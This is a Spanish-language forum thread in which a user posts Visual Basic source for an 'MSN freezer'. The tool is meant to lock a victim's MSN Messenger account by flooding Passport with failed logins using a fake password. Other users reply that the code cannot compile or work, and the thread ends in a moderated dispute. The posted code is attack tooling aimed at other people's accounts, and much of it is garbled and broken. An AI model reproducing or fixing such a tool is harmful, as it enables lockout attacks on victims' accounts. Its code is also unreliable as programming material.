Hola, bueno ace unos dias programe un congelador de msn desde 0... aqui os dejo el source:
'*************************************************
'**** Programado por Drinky94 ****
'*************************************************
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim Mensaje As String
Private Sub banear_click()
If text1 = "" Then
MsgBox "No ha insertado ningun msn", vbExclamation, "[CPH] Msn Freezer: Error"
Else
If intr(text1, "@") = True Then
WS.Close
WS.remotehost = messenger.hotmail.com
WS.remoteport = 1863
WS.Connect
Call parte1
Else
MsgBox "Inserte una direccion de correo valida", vbExclamation, "[CPH] Msn Freezer: Error"
End If
End Sub
Private Sub desbanear_click()
On Error GoTo err
WS.Close
WS2.Close
WS3.Close
timer1.Enabled = False
MsgBox "La cuenta a sido desbloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta ha sido desbloqueada con exito"
err:
MsgBox "El programa a detectado un error y debe cerrarse", vbCritical, "[CPH] Msn Freezer: Error"
End
End Sub
Private Sub parte1()
WS.senddata = ">>VER 1 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte2()
WS.senddata = ">>CVR 2 0X0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS" & text1 & ":-com"
End Sub
Private Sub parte3()
WS.senddata = ">>USR 3 TWN I" & text1
End Sub
Private Sub parte4()
WS2.Close
WS2.remotehost = "207.46.106.35"
WS2.remoteport = 1863
Call parte5
End Sub
Private Sub parte5()
WS2.senddata = ">>VER 4 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte6()
WS2.senddata = ">>CVR 5 0x0409 win i386 MSNMSGR 5.0.0544 MSMSGS" & text1
End Sub
Private Sub parte7()
WS2.senddata = ">>USR 6 TWN I" & text1
End Sub
Private Sub parte8()
WS3.Close
WS3.remotehost = "login.passport.com"
WS3.remoteport = 433
WS3.Connect
timer1.Enabled = True
timer1.Interval = 1000
End Sub
Private Sub timer1_timer()
WS3.senddata = ">>GET /login2.srf HTTP/1.0 Accept: */* Host: login.pasport.com User Agent: loquesea Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmesenger%2Emsn%2Ecom,sing-in=" & text1 & ",pwd:" & "contraseñafalsaaenviartienequeserdificilparaquenuncacoincida,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1139411464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Call Winsock1.GetData(Mensaje)
Select Case mensage
Case "<<VER 1 MSNP9 MSNP8 CVR0"
Call parte2
Case "<<CVR 2 7.5.0311 7.50311 6.2.0205 http://msgr.dlservicemicrosoft.com/download/e/7/5e75042c3-31c1-4b42-a458-adbc-786322fe/install_MSN_Messenger.EXE http://messenger.msn.com/es"
Call parte3
Case "<<XFR 3 NS 207.46.106.35:1863 0 207.46.104.20:1863"
Call parte4
End Select
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Call Winsock1.GetData(Mensaje)
Case "<<VER 4 MSNP9 MSNP8 CVR0"
Call parte6
Case "<<CVR 5 6.00602 1.0.0000 http://download.microsoft.com/download/8/a/4/8a42bcae-f533-4468-b871-d2bc-8dd32e9e/SETUP9x.EXE http://messenger.msn.com"
Call parte7
Case "<<URS 5 TWN S lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%messenger%2Emsn%2ecom,ct=113941464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Call Winsock1.GetData(Mensaje)
Case mensage
Call parte8
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Winsock1.LocalPort = 0
Winsock1.Accept requestID
End Sub
Private Sub form_load()
With ProgressBar1
.Max = 100
.Min = 0
.Value = 0
End With
End Sub
Espero que les haya gustado...
salu2!
Lo has probado?? Segun veo que utilizas el MSNP es imposible que funcione :rolleyes: :rolleyes:
Porque pones los Sleep's con If's... son Sub's, osea, no devuelven nada... porque comparas que sea distinto de 0???
El codigo se puede optimizar y no estoy seguro de que sea funcional...(MOD: Imposible que funcione:)
WS.remotehost = messenger.hotmail.com
??? Has intentado probarlo?? Esto esta en nombre CPH?? :-\ :-\
Ah! Muy graciosa la forma en la que muestras el porcentaje :laugh:
PD:No pretendo ser cruel :-\
Cita de: Drinky94 en 8 Febrero 2010, 22:46 PM
If Sleep(500) Then
progressbar.Value = 20
If Sleep(500) Then
progressbar.Value = 40
If Sleep(500) Then
progressbar.Value = 60
If Sleep(500) Then
progressbar.Value = 80
If Sleep(500) Then
progressbar.Value = 100
If Sleep(500) Then
MsgBox "La Cuenta ha sido bloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta " & text1 & " ha sido bloqueada con exito"
End If
End If
End If
End If
End If
End If
O.O!¡
.
Si te sirve esto lo puedes usar, es un modulo de clase que acabo de hacer para repetir un Proceso X cantidad de Veces, mostrando a su vez el porcentaje de ejecuciones efectuadas.
'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel ) //
' // //
' // Web: http://InfrAngeluX.Sytes.Net/ //
' // //
' // |-> Pueden Distribuir Este Código siempre y cuando //
' // no se eliminen los créditos originales de este código //
' // No importando que sea modificado/editado o engrandecido //
' // o achicado, si es en base a este código //
' ////////////////////////////////////////////////////////////////
Option Base 0
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Event PorcentajeEjecutado(Porcentaje As String, Cancel As Boolean)
Public Function ReplicarAccion(ObjDestino As Object, NombreDeProceso As String, CantidadDeReplicas As Integer, EsperaEntreReplicas As Integer, ParamArray Argumentos() As Variant) As Variant()
Dim Contador As Long
Dim ProcesoCompletado As String
Dim Cancel As Boolean
Dim Res() As Variant
If ObjDestino Is Nothing Then Exit Function
ReDim Res(CantidadDeReplicas - 1)
Do: DoEvents
If IsMissing(Argumentos) Then
Res(Contador) = CallByName(ObjDestino, NombreDeProceso, VbMethod)
Else
Res(Contador) = CallByName(ObjDestino, NombreDeProceso, VbMethod, Argumentos())
End If
Contador = Contador + 1
ProcesoCompletado = FormatNumber(Contador * 100 / CantidadDeReplicas, 2)
RaiseEvent PorcentajeEjecutado(ProcesoCompletado, Cancel)
If Cancel Then Exit Do
Call Sleep(EsperaEntreReplicas)
Loop Until Contador = CantidadDeReplicas
ReplicarAccion = Res
End Function
Ejemplificacion:
'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel ) //
' // //
' // Web: http://InfrAngeluX.Sytes.Net/ //
' // //
' // |-> Pueden Distribuir Este Código siempre y cuando //
' // no se eliminen los créditos originales de este código //
' // No importando que sea modificado/editado o engrandecido //
' // o achicado, si es en base a este código //
' ////////////////////////////////////////////////////////////////
Option Base 0
Option Explicit
Private WithEvents ReplicarProcesos As ClsRepliProcess
Private Sub Form_Load()
Dim Res() As Variant
Dim index As Integer
Set ReplicarProcesos = New ClsRepliProcess
Res = ReplicarProcesos.ReplicarAccion(Me, "HolaMundo", 75, 10)
For index = LBound(Res) To UBound(Res)
Debug.Print Res(index)
Next index
End Sub
Public Function HolaMundo() As Long
Randomize
HolaMundo = Rnd * 10
End Function
Private Sub ReplicarProcesos_PorcentajeEjecutado(Porcentaje As String, Cancel As Boolean)
Debug.Print Porcentaje
End Sub
Private Sub Form_Unload(Cancel As Integer)
Set ReplicarProcesos = Nothing
End Sub
Cita de: Drinky94 en 8 Febrero 2010, 22:46 PM
Espero que les haya gustado...
con todo respeto, no me gusto nada, y creo que a nadie le ha gustado.
eso no compila ni abajo del agua, tiene como 20 errores antes de compilar, eventos duplicados, nombre mal de funciones, codigo que no hace nada y mas...ahora van a salir los que dicen que nadie sale sabiendo y blabla, me van a decir de todo... ¿ pero tengo algo de razon ? por favor ...antes de hacer estas cosas que para colmo no te enseñan nada, aprender a hacer un bucle bien...si es para [CPH] postealo ahi, porque te digo sinceramente a veces me da verguenza ver estas cosas en este foro.
saludos.
Cita de: seba123neo en 9 Febrero 2010, 01:58 AM
Cita de: Drinky94 en 8 Febrero 2010, 22:46 PM
Espero que les haya gustado...
con todo respeto, no me gusto nada, y creo que a nadie le ha gustado.
eso no compila ni abajo del agua, tiene como 20 errores antes de compilar, eventos duplicados, nombre mal de funciones, codigo que no hace nada y mas...ahora van a salir los que dicen que nadie sale sabiendo y blabla, me van a decir de todo... ¿ pero tengo algo de razon ? por favor ...antes de hacer estas cosas que para colmo no te enseñan nada, aprender a hacer un bucle bien...si es para [CPH] postealo ahi, porque te digo sinceramente a veces me da verguenza ver estas cosas en este foro.
saludos.
:silbar: Y no se diga más...
:¬¬ Como diria SolanGE: "Que Incordio XD" :P
no me tomo ningun comentario a mal, gracias por decirme mis errores, intentare corregirlo.
salu2!
CitarIf Sleep(500) Then
Pero eso funciona en serio? Mas que nada que falta la comparación a algo y seguro que no puede compilar, lo normal al acabar un programa es almenos compilarlo para ver si lo hace. El Sr Basic se está levantando de su tumba para perseguirte.
Citar'*************************************************
'**** [CPH] Msn Freezer ****
'**** Programado por Drinky94 ****
'**** En el año 2010 para: ****
'**** :www.portalhacker.net ****
'*************************************************
Ahora lo entiendo todo :xD
Que mordaz Skapunky :laugh: :laugh:
Cita de: Drinky94 en 9 Febrero 2010, 14:42 PM
no me tomo ningun comentario a mal, gracias por decirme mis errores, intentare corregirlo.
salu2!
es impresionante que hayas dicho eso, la verdad no lo puedo creer, asi deberia ser la mayoria, aceptar los errores y tratar de corregirlos, porque hay otros que se "enojan" cuando uno les marca los errores y voy a dar nombre, porque yo soy de dar nombres, otra vez te felicito y te invito a postear cuando lo tengas bien corregido, asi te ayudamos en cualquier duda que tengas, porque te cuento un secreto "al parecer hay usuarios que les "molesta" que ayudemos".
y aca lo tenemos:
Cita de: alexmanycool en 9 Febrero 2010, 22:03 PM
a mi me borran los mensajes porque no aportan nada al post y a los que dicen que esto es una basura no se los borran?? eso tampoco aporta nada al post ¬¬
como siempre digo lo unico bueno de este foro son los smileys, y estoy porque drinky me mandó el link :P
salu2
¿ cuando alguien te borro un post ?
¿ yo te borre algun post ?.
¿ quien dijo que es una basura ?
¿ ahora entonces hacer notar los errores de una aplicación es decir que es una basura ?
el unico que dijo que es una basura fuiste vos hasta ahora, no pongas en boca de otros, lo que otros no dijeron.
si no te gusta el foro te invito a que no postees mas, por lo menos no postear diciendo que lo mejor del foro son los smileys, que queres que te diga, para estar haciendote la victima en cada post que uno le marca con buena leche los errores a alguien...¿eso te ofende a vos? ¿ te ofende que yo y otros usuarios les marquemos los errores ?.
creo que la respuesta de
Drinky94 demuestra que esta en nivel de comprensión 1000 niveles arriba del tuyo, vos seguro te hubieras enojado, porque para vos todo usuario que le diga los errores a otro, es basurear.
hace poco lo demostraste en el otro post que hiciste, aparte de que uno te ayuda (porque eso es lo que trate de hacer en el post de tu juego) te enojas, cuando te respondio hasta el mismisimo dueño de la libreria, misteriosamente nunca mas respondiste al post por lo menos para decir "ok perros, tenian razon".
aca nadie "basureo" a nadie, el unico que viniste a meter polemica fuiste vos, y no puedo permitir que digas esa sarta de mentiras.
Cita de: alexmanycool
inteligente es decir que un aporte es una basura??
otra vez con la palabra "basura" en la boca....inevitablemnte hacerle ver los errores a alguien para vos es basura.
Cita de: alexmanycool
por que no dices en que se puede mejorar??
creo que con lo que dijimos ya el usuario
Drinky94 sabe lo que debe hacer y corregir, y lo reconocio excelentemente, en cambio vos hasta ahora ni siquiera entendiste mi primer comentario.
Cita de: alexmanycool
el problema fue que no le dijiste como solucionarlo
¿ que pensas ? ¿ que
ssccaann43 se va a poner a programarle el programa ?, aca nadie hace tareas, con marcarle los errores que tenia (que ya lo hemos hecho) ya es suficiente, para que lo corriga el mismo autor...todavia no entendiste algo tan simple como eso...y
Drinky94 lo entendio perfectamente.
Cita de: alexmanycool
tal vez, tal vez no tenemos tiempo para mirar todos los codes que se postean.
mas razon todavia, en tu foro ni siquiera lo miraron y aca como debe ser le marcamos los errores(...aaa perdona para vos marcar errores es basurear....).
Cita de: alexmanycool
porque si mi metodo pone users como los de aquí, seremos otro foro basurero.
era el ultimo comentario tuyo que esperaba para decirte que por favor no postees mas en este foro con la intención de armar polemica "de la nada" y quejarte a cada rato del foro, de los usuarios, hasta que no tengas el nivel de compresion para entender que hacerle ver a un usuario un error no es ofenderlo ,es todo lo contrario, hasta que no tengas eso por favor, no entres mas, si tenes algun problema personal conmigo por favor mandame un privado.
saludos.
La limpieza de post de ahora la he realizado yo, he quitado todos los mensajes de ida y venida de la discusión de antes.
Como se ha dicho, el código tiene mucho por arreglar, y quizás deberían de probarlo antes de publicarlo como "listo para usar", pero como ha comentado seba123neo, es que si hay algo que hay que destacar es la actitud de Drinky94 en la crítica, la cual si bien en muchos casos es dura, hay que tomar para mejorar y no sentirse agredido y entrar en una discusión que no lleva a ningún lado.
Así que nada, dejamos cerrado el post, pero eso no le impide a ninguno volver a publicar cuando sea necesario.
Saludos